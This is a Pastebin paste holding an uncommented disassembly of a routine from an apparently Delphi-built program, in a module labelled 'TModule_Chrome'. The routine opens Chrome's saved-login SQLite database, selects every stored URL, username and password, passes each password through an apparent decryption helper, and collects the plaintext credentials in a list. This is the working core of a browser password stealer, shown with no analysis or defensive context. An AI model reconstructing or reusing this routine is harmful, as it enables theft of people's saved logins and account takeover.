Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- _Unit123::sub_0067C57C
- 0067C57C push ebp
- 0067C57D mov ebp,esp
- 0067C57F mov ecx,0D
- 0067C584 push 0
- 0067C586 push 0
- 0067C588 dec ecx
- <0067C589 jne 0067C584
- 0067C58B push ebx
- 0067C58C push esi
- 0067C58D push edi
- 0067C58E mov ebx,edx
- 0067C590 mov dword ptr [ebp-4],eax
- 0067C593 xor eax,eax
- 0067C595 push ebp
- 0067C596 push 67C7C0
- 0067C59B push dword ptr fs:[eax]
- 0067C59E mov dword ptr fs:[eax],esp
- 0067C5A1 mov eax,ebx
- 0067C5A3 call 0050A574
- 0067C5A8 test al,al
- >0067C5AA je 0067C782
- 0067C5B0 xor ecx,ecx
- 0067C5B2 mov dl,1
- 0067C5B4 mov eax,[005CB7A0]; TASQLite3DB
- 0067C5B9 call TASQLite3DB.Create; TASQLite3DB.Create
- 0067C5BE mov dword ptr [ebp-8],eax
- 0067C5C1 xor ecx,ecx
- 0067C5C3 mov dl,1
- 0067C5C5 mov eax,[005CC684]; TASQLite3Query
- 0067C5CA call TASQLite3Query.Create; TASQLite3Query.Create
- 0067C5CF mov dword ptr [ebp-0C],eax
- 0067C5D2 xor eax,eax
- 0067C5D4 push ebp
- 0067C5D5 push 67C75B
- 0067C5DA push dword ptr fs:[eax]
- 0067C5DD mov dword ptr fs:[eax],esp
- 0067C5E0 mov edx,ebx
- 0067C5E2 mov eax,dword ptr [ebp-8]
- 0067C5E5 call TASQLite3DB.SetDatabase
- 0067C5EA mov eax,dword ptr [ebp-8]
- 0067C5ED call 005D0374
- 0067C5F2 mov eax,dword ptr [ebp-0C]
- 0067C5F5 mov edx,dword ptr [ebp-8]
- 0067C5F8 mov dword ptr [eax+1B8],edx; TASQLite3Query.Connection:TASQLite3DB
- 0067C5FE mov eax,dword ptr [ebp-0C]
- 0067C601 mov byte ptr [eax+1BC],1; TASQLite3Query.ReadOnly:Boolean
- 0067C608 mov eax,dword ptr [ebp-0C]
- 0067C60B call TASQLite3Query.GetSQL
- 0067C610 mov edx,67C7D8; 'SELECT password_value, signon_realm, username_value, date_created FROM \"logins\"'
- 0067C615 mov ecx,dword ptr [eax]
- 0067C617 call dword ptr [ecx+2C]
- 0067C61A mov eax,dword ptr [ebp-0C]
- 0067C61D call 005C5BD8
- >0067C622 jmp 0067C739
- 0067C627 mov edx,67C830; 'username_value'
- 0067C62C mov eax,dword ptr [ebp-0C]
- 0067C62F call 005C6E08
- 0067C634 lea edx,[ebp-30]
- 0067C637 mov ecx,dword ptr [eax]
- 0067C639 call dword ptr [ecx+64]
- 0067C63C lea eax,[ebp-30]
- 0067C63F lea edx,[ebp-10]
- 0067C642 call VarToStr
- 0067C647 mov edx,67C848; 'signon_realm'
- 0067C64C mov eax,dword ptr [ebp-0C]
- 0067C64F call 005C6E08
- 0067C654 lea edx,[ebp-40]
- 0067C657 mov ecx,dword ptr [eax]
- 0067C659 call dword ptr [ecx+64]
- 0067C65C lea eax,[ebp-40]
- 0067C65F lea edx,[ebp-14]
- 0067C662 call VarToStr
- 0067C667 mov edx,67C860; 'password_value'
- 0067C66C mov eax,dword ptr [ebp-0C]
- 0067C66F call 005C6E08
- 0067C674 lea edx,[ebp-50]
- 0067C677 mov ecx,dword ptr [eax]
- 0067C679 call dword ptr [ecx+64]
- 0067C67C lea eax,[ebp-50]
- 0067C67F lea edx,[ebp-18]
- 0067C682 call VarToStr
- 0067C687 mov edx,67C878; 'date_created'
- 0067C68C mov eax,dword ptr [ebp-0C]
- 0067C68F call 005C6E08
- 0067C694 lea edx,[ebp-60]
- 0067C697 mov ecx,dword ptr [eax]
- 0067C699 call dword ptr [ecx+64]
- 0067C69C lea eax,[ebp-60]
- 0067C69F call @VarToReal
- 0067C6A4 fstp qword ptr [ebp-20]
- 0067C6A7 wait
- 0067C6A8 fld qword ptr [ebp-20]
- 0067C6AB fdiv dword ptr ds:[67C888]; 86400:Single
- 0067C6B1 mov eax,[0070143C]; ^gvar_006F9968:?Double
- 0067C6B6 fadd qword ptr [eax]
- 0067C6B8 fstp qword ptr [ebp-20]
- 0067C6BB wait
- 0067C6BC lea ecx,[ebp-64]
- 0067C6BF mov edx,dword ptr [ebp-18]
- 0067C6C2 mov eax,dword ptr [ebp-4]
- 0067C6C5 call 0067C194
- 0067C6CA mov edx,dword ptr [ebp-64]
- 0067C6CD lea eax,[ebp-18]
- 0067C6D0 call @LStrLAsg
- 0067C6D5 cmp dword ptr [ebp-18],0
- >0067C6D9 je 0067C731
- 0067C6DB mov edx,dword ptr ds:[670FB4]; TSafariItem
- 0067C6E1 mov eax,18
- 0067C6E6 call 00505960
- 0067C6EB mov ebx,eax
- 0067C6ED mov eax,dword ptr [ebp-4]
- 0067C6F0 mov eax,dword ptr [eax+38]; TModule_Chrome.?f38:TList
- 0067C6F3 mov edx,ebx
- 0067C6F5 call TList.Add
- 0067C6FA mov eax,ebx
- 0067C6FC mov edx,dword ptr [ebp-14]
- 0067C6FF call @LStrAsg
- 0067C704 lea eax,[ebx+4]
- 0067C707 mov edx,dword ptr [ebp-10]
- 0067C70A call @LStrAsg
- 0067C70F lea edx,[ebp-68]
- 0067C712 mov eax,dword ptr [ebp-18]
- 0067C715 call UTF8Decode
- 0067C71A mov edx,dword ptr [ebp-68]
- 0067C71D lea eax,[ebx+8]
- 0067C720 call @LStrFromWStr
- 0067C725 mov eax,dword ptr [ebp-20]
- 0067C728 mov dword ptr [ebx+10],eax
- 0067C72B mov eax,dword ptr [ebp-1C]
- 0067C72E mov dword ptr [ebx+14],eax
- 0067C731 mov eax,dword ptr [ebp-0C]
- 0067C734 call 005C8A0C
- 0067C739 mov eax,dword ptr [ebp-0C]
- 0067C73C cmp byte ptr [eax+0A1],0; TASQLite3Query.FEOF:Boolean
- <0067C743 je 0067C627
- 0067C749 mov eax,dword ptr [ebp-0C]
- 0067C74C call 005C5BF0
- 0067C751 xor eax,eax
- 0067C753 pop edx
- 0067C754 pop ecx
- 0067C755 pop ecx
- 0067C756 mov dword ptr fs:[eax],edx
- >0067C759 jmp 0067C772
- <0067C75B jmp @HandleAnyException
- 0067C760 mov edx,2
- 0067C765 mov eax,dword ptr [ebp-4]
- 0067C768 call 006618A4
- 0067C76D call @DoneExcept
- 0067C772 mov eax,dword ptr [ebp-8]
- 0067C775 call TObject.Free
- 0067C77A mov eax,dword ptr [ebp-0C]
- 0067C77D call TObject.Free
- 0067C782 xor eax,eax
- 0067C784 pop edx
- 0067C785 pop ecx
- 0067C786 pop ecx
- 0067C787 mov dword ptr fs:[eax],edx
- 0067C78A push 67C7C7
- 0067C78F lea eax,[ebp-68]
- 0067C792 call @WStrClr
- 0067C797 lea eax,[ebp-64]
- 0067C79A call @LStrClr
- 0067C79F lea eax,[ebp-60]
- 0067C7A2 mov edx,dword ptr ds:[50112C]; Variant
- 0067C7A8 mov ecx,4
- 0067C7AD call @FinalizeArray
- 0067C7B2 lea eax,[ebp-18]
- 0067C7B5 mov edx,3
- 0067C7BA call @LStrArrayClr
- 0067C7BF ret
- <0067C7C0 jmp @HandleFinally
- <0067C7C5 jmp 0067C78F
- 0067C7C7 pop edi
- 0067C7C8 pop esi
- 0067C7C9 pop ebx
- 0067C7CA mov esp,ebp
- 0067C7CC pop ebp
- 0067C7CD ret
Add Comment
Please, Sign In to add comment